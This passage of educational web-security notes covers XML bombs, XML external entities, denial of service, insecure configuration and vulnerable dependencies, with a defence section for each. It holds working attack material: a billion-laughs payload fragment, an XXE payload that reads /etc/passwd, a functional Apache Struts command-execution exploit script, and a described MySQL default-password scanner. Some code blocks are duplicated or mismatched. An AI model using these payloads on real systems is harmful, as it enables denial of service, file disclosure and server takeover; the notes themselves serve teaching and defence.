;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;</lolz>

In the end, the whole thin tops out at about 3 gb of data, which will probably crash your server, if it does not, the hacker can easily add a few more lines to the submitted xml file.

**A) protecting against xml bombs**

**XML Bombs** are an easy way for an attacker to perform a denial-of-service attack against your server, if it accepts XML uploads.

risks

A malicious XML file could take your server offline, causing the loss of critical functions and the loss of revenue. Protecting yourself is a matter of making sure your XML parser is properly configured.

protection

Disable Parsing of Inline DTDs

Inline DTDs are a rarely used feature. However, XML bombs remain a common vulnerability, because many XML parsing libraries do not disable this feature by default. **If you use XML parsing, make sure your parser configuration disables this feature.** See the [code samples](https://www.hacksplaining.com/prevention/xml-bombs#code-samples) below, or consult your API documentation to see how.

Consider Making XML Parsing Asynchronous

Parsing large XML files can take a lot of time and memory. If your architecture doesn’t do so already, consider making the parsing of large XML files asynchronous. As XML files are uploaded, move them over to a queue, and have a separate process pop them off the queue and handle the parsing duties.

This approach will improve the scalability and stability of your system, because onerous parsing jobs won’t take your web server offline. (AJAX requests are the exception here – they need to be handled by the web server, since they are part of the HTTP request-response cycle.)

Throttle Uploads Per Client

If you are accepting XML uploads from identified accounts, it is a good idea to restrict the number of simultaneous parsing jobs per account. This will protect you from accidental denial-of-service attacks, should a downstream system start to overload your system.

***CH 24 : XML external entities***

Unsafe treatment of external references allows an attacker to probe your file system for sensitive information.   
XML is a useful data format because data files can be checked for correctness before being processed.   
The problem appeared at the level of the DTD structure that can be inlined in XML documents and might refer to external entities : an XML parser may consult various networking protocols depending on the scheme specified in URLS.   
  
By making clever use of external entity references, an attacker can probe your server for files, hang the parser altogether by referencing URL’s that never respond or triggger fraudulent requests on the server side. Lets look at one potential attack scenario. **Open ID** is a popular authentification scheme implemented by web developers who want to use a third party identity provider. Whenever you see « login with Google » you are using Open ID.

The is a redirection between the site used by the user and the identity provider. Version 2.0 of the OPEN ID specification allows for service discovery via XML. If the Open ID implementation is insecure, this allows harmful XML to be injected.   
  
Lets say, There is a Hacker who has discovered a vulnerability in the Open ID implementation of a popular social networking site. He might craft a malicious XML packet with an external reference to the path /etc/passwd – a file that commonly holds user information on Unix systems. His hope is that when the XML is parsed, the parser will expand this file inline, revealing sensitive information to him.   
  
**MALICIOUS XML**

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xrds [

<!ENTITY passwords SYSTEM "file://etc/passwd">

]>

<xrds>

&passwords;

</xrds>

The hacker will then hosts the malicious XML file on his own server as part of the trap. Next, he crafts a URL to the social media site mentioning the URL of his malicious XML file.   
  
He opens the URL in his browser. The social media site reaches out to find the XML descriptor. During parsing, it expands out the external entity reference and includes the local user information file, just as the hacker was hoping. The first par of the trap is sprung. The expanded XML is now malformed so the authentication process terminates as you would expect. However, as part of the error reporting back to the Hacker, the site includes the fully expanded XML files which incorporates the user information file. The trap is sprung !   
  
<?xml version="1.0" encoding="utf-8"?>

<xrds>

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

</xrds>

Now, the hacker has a foot in the door, he is able to read sensitive data files on the server and it is likely only a matter of time before he figures out how to smuggle code up there and escalate his attacks.   
  
root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

**A) protecting against xml external entity attacks**

**Unsecured XML parsers can permit an attacker to probe your file system for sensitive information.** If your site accepts XML in any fashion, you need to ensure your parser is correctly configured.

**XML External Entity** attacks allow a malicious user to read arbitrary files on your server. Getting access to the server’s file system is often the first step an attacker will take when compromising your system. Unless you deploy a **intrusion detection system**, you will often not know it is occurring until it’s too late.

**Even big companies like**[**Facebook**](https://www.sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/)**have suffered from this vulnerability in the past.**

protection

Disable Parsing of Inline DTDs

Inline DTDs are a feature that is rarely used. However, XML external attacks remain a risk because many XML parsing libraries do not disable this feature by default. **Make sure your XML parser configuration disables this feature.** See the code samples below, or consult your API documentation. Making this simple configuration change will protect you against XML External Entity attacks, and [XML Bombs](https://www.hacksplaining.com/exercises/xml-bombs).

Limit the Permissions of Your Web Server Process

Run your server processes with only the permissions they require to function – follow the [principle of least privilege](https://www.hacksplaining.com/glossary/principle-of-least-privilege). This means restricting which directories in the file-system can be accessed. Consider running in a **chroot jail** if you are running on Unix.

This “defense in depth” approach means that even if an attacker manages to compromise your web server, the damage they can do is limited.

***CH 25 denial of service attacks***

A DOS attack aims at making a website unavailable to others. It is working by flooding a website or service with requests to exhaust all the available resources. Since the servers are busy dealing with the huge flood of requests from the attacker, real users are unable to get access.   
  
DOS attacks can be launchbed on various layers of the network stack. A SYN flood occurs when a host sends a flood of TCP/SYN packets but fails to responds to the « acknowledge » message sent in reply. This leaves half open connections that can saturate the number of available connections the server can make .   
  
A slow read attack sends legitimate application layer requests but returns responses very slowly, attempting to exhaust the server’s connection pool. Other types of attacks send deliberately malformed data packets deliberately designed to confuse and potentially crash the server stack. Beware the ping of death !   
  
Sophisticated attackers will use reflected attacks, bombarding a very chatty third service or portocol with forged packets, signing your domain as the reply adress. Your site will get glooded with the reponses. Protecting against denial of service generally requires isolating the source of the malicious traffic and ifnoring any further requests from that sourcE. Modern firewalls can do this very effectively, providing the attack is launched from narrow range of IP adresses.   
  
It is the principle of writing a IP netmask to block the traffic from attackers, while allowing http access for the valid users.   
  
**Netmasks (or subnet masks) are a shorthand for referring to ranges of consecutive IP addresses in the Internet Protocol. They used for defining networking rules in e.g. routers and firewalls.   
  
KEYPART TO MEMORIZE : The netmask 192.168.0.1/31 states that the last binary digit is not significant, so will match two addresses: 11000000.10101000.11111111.00000000 and 11000000.10101000.11111111.00000001 (written more readably as 192.168.0.0 and 192.168.0.1).**

**Similarly 192.168.0.1/30 states that the last two binary digits are not significant, so will match four different addresses.**

To overcome this defense attackers have invented the **Distributed Denial Of Service/**  this form of attack uses a network of bots often installed unknwoingly on third party machines via malware to orchestrate massive waves of requests.

Even major corporations are vulnerable to this type of attack, especially since internet of things devices, like smart refrigerators and lightbulbs, can be infected with malware. In late 2016, a massive attack on Dyno DNS impacted access to major sites like Twitter, Github, Spotify, across much of the US.

**A) protecting against denial of service attacks**

**The best and worst aspect of the how the internet is designed is that every website it accessible to anyone with an internet connection. This means a potentially huge audience for your website - but also means you have to deal with malicious traffic. If an attacker can generate sufficient traffic to starve your server of resources, they can make deny service to legitimate users.**

Denial-of-service attacks are designed to make a site unavailable to regular users. Attacks can be launched for political reasons (“hacktivism” or cyber-espionage), in order to extort money, or simply to cause mischief. Sophisticated attackers will use distributed applications to ensure malicious traffic floods a site from many different IP addresses at once, making it very difficult for a defender to filter out all sources.

protection

There a variety of commercial tools and services that allow you protect against denial-of-service attacks. Check with your hosting provider to see what options are available - many cloud computing platforms provide [simple protection and alerting services for free](https://aws.amazon.com/shield/), with more sophisticated bandwidth management tools available for an extra cost.

If you web-site is build to scale, it will be better able to handle high-traffic scenarios. Some common approaches to achieving scalability include:

* Serving images, stylesheets and other resources from Content Delivery Networks (CDNs).
* Caching commonly accessed resources in-memory or on-disk to reduce database access.
* Setting the Cache-Control header on rarely-changing resources, so browsers do not request them each time a page is viewed.
* Executing long-running processes (like accessing APIs or sending emails) in an asynchronous job queue, rather than in the web-process itself.
* Automating web-server deployment, so the number of instances can be scaled up transparently.
* Splitting complex applications into micro-services so each component can be scaled separately
* Implementing web-page analytics so you can detect high-traffic periods and respond accordingly.

***Ch 26 :*** ***Lax security settings***

Your software is only as secure as your configuration defines it to be. Defective confuguration settings are an extremely common cause of security holes and are easy to take advantage of. Hackers are using google to search for improperly configured software. Lets look at some common configuration errors that leave the door open to malicious actos. ( See : the google hacking database) .   
Databases application servers and content management systems often come with default accounts. These default accounts make it easy for developers to get started quickly, but you must remeber to disable them in production.

/\* Earlier this summer (at least where I live), I had a conversation with a friend.

Our conversation involved a couple questions about INSERTs into a MySQL database.

Eventually, I told him that I would do it for him. I came over, sat down on his

computer, and accidentally typed his full IP address in. TO my surprise, the host

still connected.

Later that night after I had gone home, I got a phone call from the friend asking me

to do it again. Already on the computer (go figure d:), I pulled up bash and

typed in his IP. Right as I was about to ask him what his password was, I noticed

that MySQL hadn't even bothered to authenticate me. I "used mysql" and then SELECTed

user,password,host FROM user. To my horror, I received:

+------+----------+-----------+

| user | password | host |

+------+----------+-----------+

| root | | localhost |

| root | | localhost |

+------+----------+-----------+

Not only was name-less login allowed, but root was without password on localhost

and remote. Anyway, to make a long story short, I did some research, and found that

default Windows MySQL configuration lacks logging or authentication. I did some

network scanning, and I think I have around 400 hosts with no root password. Anyway,

to automate checking this, I wrote this program up. It tries to login as root/NULL,

then takes the values of the user password hashes and tries to find a match to a

dictionary file called dictionary.txt. \*/

Versions of MySQL 3.23.2 through 3.23.52 had a default **root** account that did not require a password. Hackers were quick to spot and exploit this.

Failing to secure directories on web servers is another common mistake, **open directory listings**  can expose sensitive files to an attacker. Production systems need to be configured more securely than pre production systems. Remember to turn off client side error reporting, enforce use of HTTPS and disable any development tools ( like interacvtive consoles or debugging tools ).   
  
Make sure access to pre production environement is controlled appropriately. Test and QA environments can contain sensitive client data unless you take care to scrub data during replication so consider where these environments should be accessible from.   
  
Administrative or management interfaces need to be regulated too. If you have built or use tools that allow team members to manage production data, consider restricting access to internal networks, or requiring two factor authentication.   
  
Make sure authentication credentials for production systems are shared on a need to know basis. Ideally, software releases should be performed by scripts or team members using temporarily elevated permissions.   
  
Make sure you carefully define what domains and sub domains are used to serve content on your site. The increasingly common use of content delivery networks ( CDN’s) requires sites to incorporate content served by a third party. Unclaimed CDN buckets can be used to serve malicious content under your certificate.

**A) securing your configuration**

**Improper security configuration** is one of the most commonly overlooked risks to your technology stack. If you leave your servers unsecured hackers can find vulnerable access points through simple Google searches.

risks

If an attacker can access your system via insecure configuration, they could:

* **Steal data.** Attackers frequently steal sensitive client data like email addresses, passwords or credit card numbers.
* **Infect your servers.** Compromised servers are often used to host spam-bots or other types of malware.
* **Abuse the trust your users have in your site.** If a hacker can serve content under your security certificate, they have a reliable way to infect others.

protection

Securing your software settings depends on understanding your software and enforcing best practices through good process management. You should:

* **Automate your build process.** An ad-hoc build processes makes it easy for insecure software settings to slip through. Make sure you have a scripted, repeatable build process, so you know what software (and what versions) you are running at any given time.
* **Review new software components and disable default credentials as soon as possible.** Each new library, toolkit and server introduces new security risks - ensure these are considered during your code reviews.
* **Clearly separate code and configuration.** Environment-specific and sensitive configuration should be stored outside the codebase - either in configuration files or dedicated systems (like databases). Hard-coded credentials and backdoors open your site to being compromised.
* **Create dedicated accounts with appropriate privileges.** Access to production servers and databases should follow the principle of least privilege. Users and processes should only have the permissions they require to function, and any escalation of privileges (for example, during release windows,) should be temporary and subject to formal review process.
* **Script your deployment process.** Make sure deployment to staging and production systems is done through a repeatable, scripted process. You should know what version of your code is running on each environment - and be able to vouch that each environment is running the appropriate configuration. After each release, perform (at least a cursory) “smoke-test” to ensure the correct software and configuration got deployed.
* **Segregate environments.** Production and staging environments should use different sets of credentials, since they will typicllay have different access levels. Try to ensure there is no network access between environments, so attackers cannot move sideways between environments with different access levels.
* **Add extra security for administrative systems.** If possible, avoid opening your administrative tools to the internet at large. Prescribe a secure password policy for administrators, and ensure your team knows to take security seriously. Implement multi-factor authentication if feasible. Make sure you know who has access to what system, and have a plan in place for when access has to be revoked (for instance, if team-members leave).

***CH 27 : Toxic dependencies***

Very little modern software is written from scratch. To avoir re inventing the wheel, developers depend on libraries, frameworks and tools writter by others. There are package management tools like pip for python, gems for ruby and npm for javascript, it is making the importation of code easier.   
  
However, even though developement teams rarely perform code reviews on third party dependencies, such code may contain vulerabilities or worse, may contain code written with malicious intent. Vulnerabilities in popular software packages are an extremely attractive target for hackers simply because many, many sites or organizations may be affected. Lets look at some recent examples.   
  
**Apache Struts**  is an open source framework used for building Java web applications, The struts 2 framework provides built in support for processing file uploads that conform to RFC 1867, From bases file upload in HTML.   
  
<!DOCTYPE html>

<html>

<head>

<meta **http-equiv**="Content-Type" **content**="text/html; charset=UTF-8">

<title>Basic Struts 2 Application - Welcome</title>

</head>

<body>

<h1>Welcome To Struts 2!</h1>

<p>

<a **href**="<s:url action='hello'/>">Hello World</a>

</p>

</body>

</html>

A simple Struts template

The eraliest version of struts 2 did not properly sanitize the « content type header » correctly, making struts applications vulnerable to code execution attacks. Attackers were able to upload small scripts and execute them on the server at will.   
  
**import** urllib2

**import** httplib

**def** exploit(url, cmd):

payload = "%{(#\_='multipart/form-data')."

payload += "(#dm=@ognl.OgnlContext@DEFAULT\_MEMBER\_ACCESS)."

payload += "(#\_memberAccess?"

payload += "(#\_memberAccess=#dm):"

payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

payload += "(#ognlUtil.getExcludedPackageNames().clear())."

payload += "(#ognlUtil.getExcludedClasses().clear())."

payload += "(#context.setMemberAccess(#dm))))."

payload += "(#cmd='%s')." % cmd

payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."

payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."

payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."

payload += "(#ros.flush())}"

**try**:

headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}

request = urllib2.Request(url, headers=headers)

page = urllib2.urlopen(request).read()

**except** httplib.IncompleteRead, e:

page = e.partial

**return** page

Concerning, Ruby on Rails, the most common web stack, its ubiquity means it is a great target for hackers.   
  
Rails intelligently maps query parameters to model state, which saves a lot of boilerplate code. However, version 3.0 of the Rails framework was vulnerable to arbitrary mass assignment, meaning carefull crafted http requests could overwrite protected state in the data model.

**def** assign\_attributes(new\_attributes)

**if** !new\_attributes.respond\_to?(:stringify\_keys)

raise ArgumentError, "When assigning attributes, you must pass a hash as an argument."

**end**

**return** **if** new\_attributes.blank?

attributes = new\_attributes.stringify\_keys

multi\_parameter\_attributes = []

nested\_parameter\_attributes = []

attributes = sanitize\_for\_mass\_assignment(attributes)

attributes.each **do** |k, v|

**if** k.**include**?("(")

multi\_parameter\_attributes << [ k, v ]

**elsif** v.is\_a?(Hash)

nested\_parameter\_attributes << [ k, v ]

**else**

\_assign\_attribute(k, v)

**end**

**end**

assign\_nested\_parameter\_attributes(nested\_parameter\_attributes) **unless** nested\_parameter\_attributes.empty?

assign\_multiparameter\_attributes(multi\_parameter\_attributes) **unless** multi\_parameter\_attributes.empty?

**end**

Modern versions of Rails require attributes to be white-listed before the can be assigned from web parameters.

One hacker ( luckily itw as a white hat) used the vulnerability to gain administrative access to Github !   
  
**def** assign\_attributes(new\_attributes)

**if** !new\_attributes.respond\_to?(:stringify\_keys)

raise ArgumentError, "When assigning attributes, you must pass a hash as an argument."

**end**

**return** **if** new\_attributes.blank?

attributes = new\_attributes.stringify\_keys

multi\_parameter\_attributes = []

nested\_parameter\_attributes = []

attributes = sanitize\_for\_mass\_assignment(attributes)

attributes.each **do** |k, v|

**if** k.**include**?("(")

multi\_parameter\_attributes << [ k, v ]

**elsif** v.is\_a?(Hash)

nested\_parameter\_attributes << [ k, v ]

**else**

\_assign\_attribute(k, v)

**end**

**end**

assign\_nested\_parameter\_attributes(nested\_parameter\_attributes) **unless** nested\_parameter\_attributes.empty?

assign\_multiparameter\_attributes(multi\_parameter\_attributes) **unless** multi\_parameter\_attributes.empty?

**end**

Modern versions of Rails require attributes to be white-listed before the can be assigned from web parameters.

Even dev tools of today are not immune. In 2015, security researchers discovered maliciously modified version of XCode the most popular development tool for OSX being used by several hundred Chinese developers.   
  
xCodeGhost, as it became known was designed to steal system information and to inject a malicious payload into any apps built and deployed using XCode, since XCode is commonly used to develop Iphone apps, this meant infected apps made it into the Apple store !   
  
IN 2014, the **Heartbleed**  vulnerability was discovered in the popular OpenSSL cryptographic software library. A missing bounds check in the code caused 1% of the world’s websites to be vulnerable to an exploit that allowed an attacker to read large chunks of memory on the server.   
  
exemple of a memory dump :   
  
**$** ./heartbleed.sh https://www.minkedin.com

Connecting...

Sending Client Hello...

Waiting for Server Hello...

... received message: type = 22, length = 66

... received message: type = 22, length = 4

Sending heartbeat request...

... received message: type = 22, length = 16384

Received heart beat response:

0010: 69 65 6E 5F 67 6C .@./config/pwtoken\_get?src=

0020: 73 3D 63 3D 31 33 illmap&ts=13912223139&utm\_s

0030: 39 32 35 38 26 65 =dinVzQKfBzIw4zIzdLXzpwfleY

0040: 68 95 9A 53 6E 6E &login=stoatlover@gmail.com

0050: 65 26 62 3D 39 26 &password=ilovestoats....Ca

0060: 20 73 38 31 2E 32 che-Control:privdate,.max-a

0050: 73 2D 2D 20 98 79 ge=0;Connection:Keep-Alive;

0070: OD 6F 6D 59 61 68 Content-language:en;Content

0080: 20 73 38 31 2E 32 -Type:text/html;.charset=UT

**A) securing your dependencies**

**Development teams rarely perform code reviews on third-party dependencies,** but the libraries and toolkits we use are often a source of software vulnerabilities. As a site owner, you need to ensure code written by other people is not making your system insecure.

Almost every kind of website vulnerability has manifested itself in commonly used software libraries at some point:

* **SQL Injection vulnerabilities** that allow execution of arbitrary SQL statements against a database.
* **Cross-Site Scripting vulnerabilities** that permit attackers to execute malicious Javascript in the browser.
* **Command Injection vulnerabilities** that allow execution of arbitrary scripts on the server.

Including these vulnerabilities into you systems opens you (and your users) to data theft, infection by malware, and system takeover.

protection

Careful consideration of how you manage dependencies is key to keeping your system secure. There are number of aspects you need to get right.

* **Automate your build and deployment processes.** To make your code secure, you need to know what code you are running. This means declaring all third-party libraries within build scripts or dependency management systems; building and deploying from source control; and keeping records of deployment logs.
* **Deploy known-good versions of software.** Dependency management tools often allow you leave the version of each dependency indeterminate, which is shorthand for “grab the latest available version at build time.” Try to avoid this - upgrade versions deliberately, when you have had chance to review the release notes, and pin dependency versions in your code.
* **Use dedicated tools to scan your dependency tree for security risks.** Many programming languages and utilities are able to spot compromised dependencies. Consider using one or more of the following:
  + [Github security alerts](https://help.github.com/en/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)
  + [GitLab security scanning](https://docs.gitlab.com/ee/development/integrations/secure.html)
  + [npm audit](https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities) and [retire.js](https://retirejs.github.io/retire.js/) for Node
  + [bundler audit](https://github.com/rubysec/bundler-audit) for Ruby.
  + [OWASP dependency-check](https://jeremylong.github.io/DependencyCheck/) for Java and .NET
* **Keep on top of security bulletins.** Make sure your team is on the lookout for security announcements for the software you use. This can mean signing up for mailing lists, joining forums, or following library developers on social media. The development community is often the first become aware of security issues.
* **Perform regular code reviews** so your whole development team knows what third-party libraries are being used, and which parts of your codebase depend on them.
* **Make penetration testing part of your development lifecycle.** Penetration testing tools will attempt to take advantage of known exploits, checking whether your technology stack contains vulnerable components.

**Bibliography :**

<https://www.hacksplaining.com/>

<https://www.amazon.com/Web-Security-Developers-Malcolm-McDonald/dp/1593279949>.